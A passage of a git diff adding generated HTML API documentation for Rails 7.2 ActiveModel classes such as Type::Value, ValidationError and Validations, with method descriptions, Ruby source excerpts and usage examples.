+          return if time_hash.nil? || time_hash[:hour].nil?
+        when ::Time
+          value = value.change(year: 2000, day: 1, month: 1)
+        end
+
+        super(value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Type/Value.html b/src/7.2/classes/ActiveModel/Type/Value.html new file mode 100644 index 0000000000..b85e01c114 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Type/Value.html @@ -0,0 +1,688 @@ +--- +title: ActiveRecord::Type::Value +layout: default +--- +
+ +
+
+ +
+ +

Active Model Value Type

+ +

The base class for all attribute types. This class also serves as the default type for attributes that do not specify a type.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + limit
+ [R] + precision
+ [R] + scale
+ + + + +

Class Public methods

+ +
+

+ + new(precision: nil, limit: nil, scale: nil) + +

+ + +
+

Initializes a type with three basic configuration settings: precision, limit, and scale. The Value base class does not define behavior for these settings. It uses them for equality comparison and hash key generation only.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 17
+      def initialize(precision: nil, limit: nil, scale: nil)
+        super()
+        @precision = precision
+        @scale = scale
+        @limit = limit
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other) + +

+ + +
+ +
+ + + +
+ Also aliased as: eql? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 121
+      def ==(other)
+        self.class == other.class &&
+          precision == other.precision &&
+          scale == other.scale &&
+          limit == other.limit
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + as_json(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 144
+      def as_json(*)
+        raise NoMethodError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_valid_value(_) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 133
+      def assert_valid_value(_)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cast(value) + +

+ + +
+

Type casts a value from user input (e.g. from a setter). This value may be a string from the form builder, or a ruby object passed to a setter. There is currently no way to differentiate between which source it came from.

+ +

The return value of this method will be returned from ActiveRecord::AttributeMethods::Read#read_attribute. See also: Value#cast_value.

+ +

value The raw input, as provided to the attribute setter.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 57
+      def cast(value)
+        cast_value(value) unless value.nil?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed?(old_value, new_value, _new_value_before_type_cast) + +

+ + +
+

Determines whether a value has changed for dirty checking. old_value and new_value will always be type-cast. Types should not need to override this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 84
+      def changed?(old_value, new_value, _new_value_before_type_cast)
+        old_value != new_value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed_in_place?(raw_old_value, new_value) + +

+ + +
+

Determines whether the mutable value has been modified since it was read. Returns false by default. If your type returns an object which could be mutated, you should override this method. You will need to either:

+ + +

or

+ + +

raw_old_value The original value, before being passed to deserialize.

+ +

new_value The current value, after type casting.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 105
+      def changed_in_place?(raw_old_value, new_value)
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deserialize(value) + +

+ + +
+

Converts a value from database input to the appropriate ruby type. The return value of this method will be returned from ActiveRecord::AttributeMethods::Read#read_attribute. The default implementation just calls Value#cast.

+ +

value The raw input, as provided from the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 43
+      def deserialize(value)
+        cast(value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eql?(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: == +
+ + + + +
+ +
+

+ + hash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 129
+      def hash
+        [self.class, precision, scale, limit].hash
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serializable?(value) + +

+ + +
+

Returns true if this type can convert value to a type that is usable by the database. For example a boolean type can return true if the value parameter is a Ruby boolean, but may return false if the value parameter is some other object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 28
+      def serializable?(value)
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize(value) + +

+ + +
+

Casts a value from the ruby type to a type that the database knows how to understand. The returned value from this method should be a String, Numeric, Date, Time, Symbol, true, false, or nil.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 65
+      def serialize(value)
+        value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type() + +

+ + +
+

Returns the unique type name as a Symbol. Subclasses should override this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 34
+      def type
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + cast_value(value) + +

+ + +
+

Convenience method for types which do not need separate type casting behavior for user and database inputs. Called by Value#cast for values except nil.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/type/value.rb, line 152
+        def cast_value(value) # :doc:
+          value
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/UnknownAttributeError.html b/src/7.2/classes/ActiveModel/UnknownAttributeError.html new file mode 100644 index 0000000000..3b518bdc2f --- /dev/null +++ b/src/7.2/classes/ActiveModel/UnknownAttributeError.html @@ -0,0 +1,149 @@ +--- +title: ActiveRecord::UnknownAttributeError +layout: default +--- +
+ +
+
+ +
+ +

Active Model UnknownAttributeError

+ +

Raised when unknown attributes are supplied via mass assignment.

+ +
class Person
+  include ActiveModel::AttributeAssignment
+  include ActiveModel::Validations
+end
+
+person = Person.new
+person.assign_attributes(name: 'Gorby')
+# => ActiveModel::UnknownAttributeError: unknown attribute 'name' for Person.
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + attribute
+ [R] + record
+ + + + +

Class Public methods

+ +
+

+ + new(record, attribute) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/errors.rb, line 541
+    def initialize(record, attribute)
+      @record = record
+      @attribute = attribute
+      super("unknown attribute '#{attribute}' for #{@record.class}.")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/VERSION.html b/src/7.2/classes/ActiveModel/VERSION.html new file mode 100644 index 0000000000..952a278a02 --- /dev/null +++ b/src/7.2/classes/ActiveModel/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActiveModel::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/ValidationError.html b/src/7.2/classes/ActiveModel/ValidationError.html new file mode 100644 index 0000000000..5fd6ff9111 --- /dev/null +++ b/src/7.2/classes/ActiveModel/ValidationError.html @@ -0,0 +1,138 @@ +--- +title: ActiveModel::ValidationError +layout: default +--- +
+ +
+
+ +
+ +

Active Model ValidationError

+ +

Raised by validate! when the model is invalid. Use the model method to retrieve the record which did not validate.

+ +
begin
+  complex_operation_that_internally_calls_validate!
+rescue ActiveModel::ValidationError => invalid
+  puts invalid.model.errors
+end
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + model
+ + + + +

Class Public methods

+ +
+

+ + new(model) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 463
+    def initialize(model)
+      @model = model
+      errors = @model.errors.full_messages.join(", ")
+      super(I18n.t(:"#{@model.class.i18n_scope}.errors.messages.model_invalid", errors: errors, default: :"errors.messages.model_invalid"))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Validations.html b/src/7.2/classes/ActiveModel/Validations.html new file mode 100644 index 0000000000..25c93b975b --- /dev/null +++ b/src/7.2/classes/ActiveModel/Validations.html @@ -0,0 +1,605 @@ +--- +title: ActiveModel::Validations +layout: default +--- +
+ +
+
+ +
+ +

Active Model Validations

+ +

Provides a full validation framework to your objects.

+ +

A minimal implementation could be:

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :first_name, :last_name
+
+  validates_each :first_name, :last_name do |record, attr, value|
+    record.errors.add attr, "starts with z." if value.start_with?("z")
+  end
+end
+
+ +

Which provides you with the full standard validation stack that you know from Active Record:

+ +
person = Person.new
+person.valid?                   # => true
+person.invalid?                 # => false
+
+person.first_name = 'zoolander'
+person.valid?                   # => false
+person.invalid?                 # => true
+person.errors.messages          # => {first_name:["starts with z."]}
+
+ +

Note that ActiveModel::Validations automatically adds an errors method to your instances initialized with a new ActiveModel::Errors object, so there is no need for you to do this manually.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + validation_context
+ + + + + +

Instance Public methods

+ +
+

+ + errors() + +

+ + +
+

Returns the Errors object that holds all information about attribute error messages.

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+  validates_presence_of :name
+end
+
+person = Person.new
+person.valid? # => false
+person.errors # => #<ActiveModel::Errors:0x007fe603816640 @messages={name:["can't be blank"]}>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 330
+    def errors
+      @errors ||= Errors.new(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + invalid?(context = nil) + +

+ + +
+

Performs the opposite of valid?. Returns true if errors were added, false otherwise.

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+  validates_presence_of :name
+end
+
+person = Person.new
+person.name = ''
+person.invalid? # => true
+person.name = 'david'
+person.invalid? # => false
+
+ +

Context can optionally be supplied to define which callbacks to test against (the context is defined on the validations using :on).

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+  validates_presence_of :name, on: :new
+end
+
+person = Person.new
+person.invalid?       # => false
+person.invalid?(:new) # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 402
+    def invalid?(context = nil)
+      !valid?(context)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + valid?(context = nil) + +

+ + +
+

Runs all the specified validations and returns true if no errors were added otherwise false.

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+  validates_presence_of :name
+end
+
+person = Person.new
+person.name = ''
+person.valid? # => false
+person.name = 'david'
+person.valid? # => true
+
+ +

Context can optionally be supplied to define which callbacks to test against (the context is defined on the validations using :on).

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+  validates_presence_of :name, on: :new
+end
+
+person = Person.new
+person.valid?       # => true
+person.valid?(:new) # => false
+
+
+ + + +
+ Also aliased as: validate +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 363
+    def valid?(context = nil)
+      current_context, self.validation_context = validation_context, context
+      errors.clear
+      run_validations!
+    ensure
+      self.validation_context = current_context
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate(context = nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: valid? +
+ + + + +
+ +
+

+ + validate!(context = nil) + +

+ + +
+

Runs all the validations within the specified context. Returns true if no errors are found, raises ValidationError otherwise.

+ +

Validations with no :on option will run no matter the context. Validations with some :on option will only run in the specified context.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 411
+    def validate!(context = nil)
+      valid?(context) || raise_validation_error
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_with(*args, &block) + +

+ + +
+

Passes the record off to the class or classes specified and allows them to add errors based on more complex conditions.

+ +
class Person
+  include ActiveModel::Validations
+
+  validate :instance_validations
+
+  def instance_validations
+    validates_with MyValidator
+  end
+end
+
+ +

Please consult the class method documentation for more information on creating your own validator.

+ +

You may also pass it multiple classes, like so:

+ +
class Person
+  include ActiveModel::Validations
+
+  validate :instance_validations, on: :create
+
+  def instance_validations
+    validates_with MyValidator, MyOtherValidator
+  end
+end
+
+ +

Standard configuration options (:on, :if and :unless), which are available on the class version of validates_with, should instead be placed on the validates method as these are applied and tested in the callback.

+ +

If you pass any additional configuration options, they will be passed to the class and available as options, please refer to the class version of this method for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/with.rb, line 144
+    def validates_with(*args, &block)
+      options = args.extract_options!
+      options[:class] = self.class
+
+      args.each do |klass|
+        validator = klass.new(options.dup, &block)
+        validator.validate(self)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validation_context + +

+ + +
+

Returns the context when running validations.

+ +

This is useful when running validations except a certain context (opposite to the on option).

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+  validates :name, presence: true, if: -> { validation_context != :custom }
+end
+
+person = Person.new
+person.valid?          #=> false
+person.valid?(:new)    #=> false
+person.valid?(:custom) #=> true
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + +

Instance Private methods

+ +
+

+ + raise_validation_error() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 445
+    def raise_validation_error # :doc:
+      raise(ValidationError.new(self))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Validations/AcceptanceValidator.html b/src/7.2/classes/ActiveModel/Validations/AcceptanceValidator.html new file mode 100644 index 0000000000..a3db9b985b --- /dev/null +++ b/src/7.2/classes/ActiveModel/Validations/AcceptanceValidator.html @@ -0,0 +1,73 @@ +--- +title: ActiveModel::Validations::AcceptanceValidator +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Validations/AcceptanceValidator/LazilyDefineAttributes.html b/src/7.2/classes/ActiveModel/Validations/AcceptanceValidator/LazilyDefineAttributes.html new file mode 100644 index 0000000000..97647fede1 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Validations/AcceptanceValidator/LazilyDefineAttributes.html @@ -0,0 +1,309 @@ +--- +title: ActiveModel::Validations::AcceptanceValidator::LazilyDefineAttributes +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + attributes
+ + + + +

Class Public methods

+ +
+

+ + new(attributes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/acceptance.rb, line 28
+          def initialize(attributes)
+            @attributes = attributes.map(&:to_s)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/acceptance.rb, line 73
+          def ==(other)
+            self.class == other.class && attributes == other.attributes
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + define_on(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/acceptance.rb, line 56
+          def define_on(klass)
+            @lock&.synchronize do
+              return unless @lock
+
+              attr_readers = attributes.reject { |name| klass.attribute_method?(name) }
+              attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") }
+
+              attr_reader(*attr_readers)
+              attr_writer(*attr_writers)
+
+              remove_method :respond_to_missing?
+              remove_method :method_missing
+
+              @lock = nil
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + included(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/acceptance.rb, line 32
+          def included(klass)
+            @lock = Mutex.new
+            mod = self
+
+            define_method(:respond_to_missing?) do |method_name, include_private = false|
+              mod.define_on(klass)
+              super(method_name, include_private) || mod.matches?(method_name)
+            end
+
+            define_method(:method_missing) do |method_name, *args, &block|
+              mod.define_on(klass)
+              if mod.matches?(method_name)
+                send(method_name, *args, &block)
+              else
+                super(method_name, *args, &block)
+              end
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + matches?(method_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/acceptance.rb, line 51
+          def matches?(method_name)
+            attr_name = method_name.to_s.chomp("=")
+            attributes.any? { |name| name == attr_name }
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Validations/Callbacks.html b/src/7.2/classes/ActiveModel/Validations/Callbacks.html new file mode 100644 index 0000000000..84d589df05 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Validations/Callbacks.html @@ -0,0 +1,101 @@ +--- +title: ActiveModel::Validations::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Active Model Validation Callbacks

+ +

Provides an interface for any class to have ClassMethods#before_validation and ClassMethods#after_validation callbacks.

+ +

First, include ActiveModel::Validations::Callbacks from the class you are creating:

+ +
class MyModel
+  include ActiveModel::Validations::Callbacks
+
+  before_validation :do_stuff_before_validation
+  after_validation  :do_stuff_after_validation
+end
+
+ +

Like other before_* callbacks if before_validation throws :abort then valid? will not be called.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Validations/Callbacks/ClassMethods.html b/src/7.2/classes/ActiveModel/Validations/Callbacks/ClassMethods.html new file mode 100644 index 0000000000..19c5a8e034 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Validations/Callbacks/ClassMethods.html @@ -0,0 +1,197 @@ +--- +title: ActiveModel::Validations::Callbacks::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_validation(*args, &block) + +

+ + +
+

Defines a callback that will get called right after validation.

+ +
class Person
+  include ActiveModel::Validations
+  include ActiveModel::Validations::Callbacks
+
+  attr_accessor :name, :status
+
+  validates_presence_of :name
+
+  after_validation :set_status
+
+  private
+    def set_status
+      self.status = errors.empty?
+    end
+end
+
+person = Person.new
+person.name = ''
+person.valid? # => false
+person.status # => false
+person.name = 'bob'
+person.valid? # => true
+person.status # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/callbacks.rb, line 88
+        def after_validation(*args, &block)
+          options = args.extract_options!
+          options = options.dup
+          options[:prepend] = true
+
+          set_options_for_callback(options)
+
+          set_callback(:validation, :after, *args, options, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_validation(*args, &block) + +

+ + +
+

Defines a callback that will get called right before validation.

+ +
class Person
+  include ActiveModel::Validations
+  include ActiveModel::Validations::Callbacks
+
+  attr_accessor :name
+
+  validates_length_of :name, maximum: 6
+
+  before_validation :remove_whitespaces
+
+  private
+    def remove_whitespaces
+      name.strip!
+    end
+end
+
+person = Person.new
+person.name = '  bob  '
+person.valid? # => true
+person.name   # => "bob"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/callbacks.rb, line 55
+        def before_validation(*args, &block)
+          options = args.extract_options!
+
+          set_options_for_callback(options)
+
+          set_callback(:validation, :before, *args, options, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Validations/ClassMethods.html b/src/7.2/classes/ActiveModel/Validations/ClassMethods.html new file mode 100644 index 0000000000..ed0af7831f --- /dev/null +++ b/src/7.2/classes/ActiveModel/Validations/ClassMethods.html @@ -0,0 +1,776 @@ +--- +title: ActiveModel::Validations::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attribute_method?(attribute) + +

+ + +
+

Returns true if attribute is an attribute method, false otherwise.

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+end
+
+User.attribute_method?(:name) # => true
+User.attribute_method?(:age)  # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 284
+      def attribute_method?(attribute)
+        method_defined?(attribute)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_validators!() + +

+ + +
+

Clears all of the validators and validations.

+ +

Note that this will clear anything that is being used to validate the model for both the validates_with and validate methods. It clears the validators that are created with an invocation of validates_with and the callbacks that are set by an invocation of validate.

+ +
class Person
+  include ActiveModel::Validations
+
+  validates_with MyValidator
+  validates_with OtherValidator, on: :create
+  validates_with StrictValidator, strict: true
+  validate :cannot_be_robot
+
+  def cannot_be_robot
+    errors.add(:base, 'A person cannot be a robot') if person_is_robot
+  end
+end
+
+Person.validators
+# => [
+#      #<MyValidator:0x007fbff403e808 @options={}>,
+#      #<OtherValidator:0x007fbff403d930 @options={on: :create}>,
+#      #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
+#    ]
+
+ +

If one runs Person.clear_validators! and then checks to see what validators this class has, you would obtain:

+ +
Person.validators # => []
+
+ +

Also, the callback set by validate :cannot_be_robot will be erased so that:

+ +
Person._validate_callbacks.empty?  # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 248
+      def clear_validators!
+        reset_callbacks(:validate)
+        _validators.clear
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate(*args, &block) + +

+ + +
+

Adds a validation method or block to the class. This is useful when overriding the validate instance method becomes too unwieldy and you’re looking for more descriptive declaration of your validations.

+ +

This can be done with a symbol pointing to a method:

+ +
class Comment
+  include ActiveModel::Validations
+
+  validate :must_be_friends
+
+  def must_be_friends
+    errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+  end
+end
+
+ +

With a block which is passed with the current record to be validated:

+ +
class Comment
+  include ActiveModel::Validations
+
+  validate do |comment|
+    comment.must_be_friends
+  end
+
+  def must_be_friends
+    errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+  end
+end
+
+ +

Or with a block where self points to the current record to be validated:

+ +
class Comment
+  include ActiveModel::Validations
+
+  validate do
+    errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+  end
+end
+
+ +

Note that the return value of validation methods is not relevant. It’s not possible to halt the validate callback chain.

+ +

Options:

+
  • +

    :on - Specifies the contexts where this validation is active. Runs in all validation contexts by default nil. You can pass a symbol or an array of symbols. (e.g. on: :create or on: :custom_validation_context or on: [:create, :custom_validation_context])

    +
  • +

    :if - Specifies a method, proc, or string to call to determine if the validation should occur (e.g. if: :allow_validation, or if: Proc.new { |user| user.signup_step > 2 }). The method, proc or string should return or evaluate to a true or false value.

    +
  • +

    :unless - Specifies a method, proc, or string to call to determine if the validation should not occur (e.g. unless: :skip_validation, or unless: Proc.new { |user| user.signup_step <= 2 }). The method, proc, or string should return or evaluate to a true or false value.

    +
+ +

NOTE: Calling validate multiple times on the same method will overwrite previous definitions.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 171
+      def validate(*args, &block)
+        options = args.extract_options!
+
+        if args.all?(Symbol)
+          options.each_key do |k|
+            unless VALID_OPTIONS_FOR_VALIDATE.include?(k)
+              raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{VALID_OPTIONS_FOR_VALIDATE.map(&:inspect).join(', ')}. Perhaps you meant to call `validates` instead of `validate`?")
+            end
+          end
+        end
+
+        if options.key?(:on)
+          options = options.merge(if: [predicate_for_validation_context(options[:on]), *options[:if]])
+        end
+
+        set_callback(:validate, *args, options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates(*attributes) + +

+ + +
+

This method is a shortcut to all default validators and any custom validator classes ending in β€˜Validator’. Note that Rails default validators can be overridden inside specific classes by creating custom validator classes in their place such as PresenceValidator.

+ +

Examples of using the default Rails validators:

+ +
validates :username, absence: true
+validates :terms, acceptance: true
+validates :password, confirmation: true
+validates :username, exclusion: { in: %w(admin superuser) }
+validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create }
+validates :age, inclusion: { in: 0..9 }
+validates :first_name, length: { maximum: 30 }
+validates :age, numericality: true
+validates :username, presence: true
+
+ +

The power of the validates method comes when using custom validators and default validators in one call for a given attribute.

+ +
class EmailValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    record.errors.add attribute, (options[:message] || "is not an email") unless
+      /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i.match?(value)
+  end
+end
+
+class Person
+  include ActiveModel::Validations
+  attr_accessor :name, :email
+
+  validates :name, presence: true, length: { maximum: 100 }
+  validates :email, presence: true, email: true
+end
+
+ +

Validator classes may also exist within the class being validated allowing custom modules of validators to be included as needed.

+ +
class Film
+  include ActiveModel::Validations
+
+  class TitleValidator < ActiveModel::EachValidator
+    def validate_each(record, attribute, value)
+      record.errors.add attribute, "must start with 'the'" unless /\Athe/i.match?(value)
+    end
+  end
+
+  validates :name, title: true
+end
+
+ +

Additionally validator classes may be in another namespace and still used within any class.

+ +
validates :name, :'film/title' => true
+
+ +

The validators hash can also handle regular expressions, ranges, arrays and strings in shortcut form.

+ +
validates :email, format: /@/
+validates :role, inclusion: %w(admin contributor)
+validates :password, length: 6..20
+
+ +

When using shortcut form, ranges and arrays are passed to your validator’s initializer as options[:in] while other types including regular expressions and strings are passed as options[:with].

+ +

There is also a list of options that could be used along with validators:

+
  • +

    :on - Specifies the contexts where this validation is active. Runs in all validation contexts by default nil. You can pass a symbol or an array of symbols. (e.g. on: :create or on: :custom_validation_context or on: [:create, :custom_validation_context])

    +
  • +

    :if - Specifies a method, proc, or string to call to determine if the validation should occur (e.g. if: :allow_validation, or if: Proc.new { |user| user.signup_step > 2 }). The method, proc or string should return or evaluate to a true or false value.

    +
  • +

    :unless - Specifies a method, proc, or string to call to determine if the validation should not occur (e.g. unless: :skip_validation, or unless: Proc.new { |user| user.signup_step <= 2 }). The method, proc, or string should return or evaluate to a true or false value.

    +
  • +

    :allow_nil - Skip validation if the attribute is nil.

    +
  • +

    :allow_blank - Skip validation if the attribute is blank.

    +
  • +

    :strict - If the :strict option is set to true will raise ActiveModel::StrictValidationFailed instead of adding the error. :strict option can also be set to any other exception.

    +
+ +

Example:

+ +
validates :password, presence: true, confirmation: true, if: :password_required?
+validates :token, length: { is: 24 }, strict: TokenLengthException
+
+ +

Finally, the options :if, :unless, :on, :allow_blank, :allow_nil, :strict and :message can be given to one specific validator, as a hash:

+ +
validates :password, presence: { if: :password_required?, message: 'is forgotten.' }, confirmation: true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/validates.rb, line 106
+      def validates(*attributes)
+        defaults = attributes.extract_options!.dup
+        validations = defaults.slice!(*_validates_default_keys)
+
+        raise ArgumentError, "You need to supply at least one attribute" if attributes.empty?
+        raise ArgumentError, "You need to supply at least one validation" if validations.empty?
+
+        defaults[:attributes] = attributes
+
+        validations.each do |key, options|
+          key = "#{key.to_s.camelize}Validator"
+
+          begin
+            validator = const_get(key)
+          rescue NameError
+            raise ArgumentError, "Unknown validator: '#{key}'"
+          end
+
+          next unless options
+
+          validates_with(validator, defaults.merge(_parse_validates_options(options)))
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates!(*attributes) + +

+ + +
+

This method is used to define validations that cannot be corrected by end users and are considered exceptional. So each validator defined with bang or :strict option set to true will always raise ActiveModel::StrictValidationFailed instead of adding error when validation fails. See validates for more information about the validation itself.

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name
+  validates! :name, presence: true
+end
+
+person = Person.new
+person.name = ''
+person.valid?
+# => ActiveModel::StrictValidationFailed: Name can't be blank
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/validates.rb, line 148
+      def validates!(*attributes)
+        options = attributes.extract_options!
+        options[:strict] = true
+        validates(*(attributes << options))
+      end
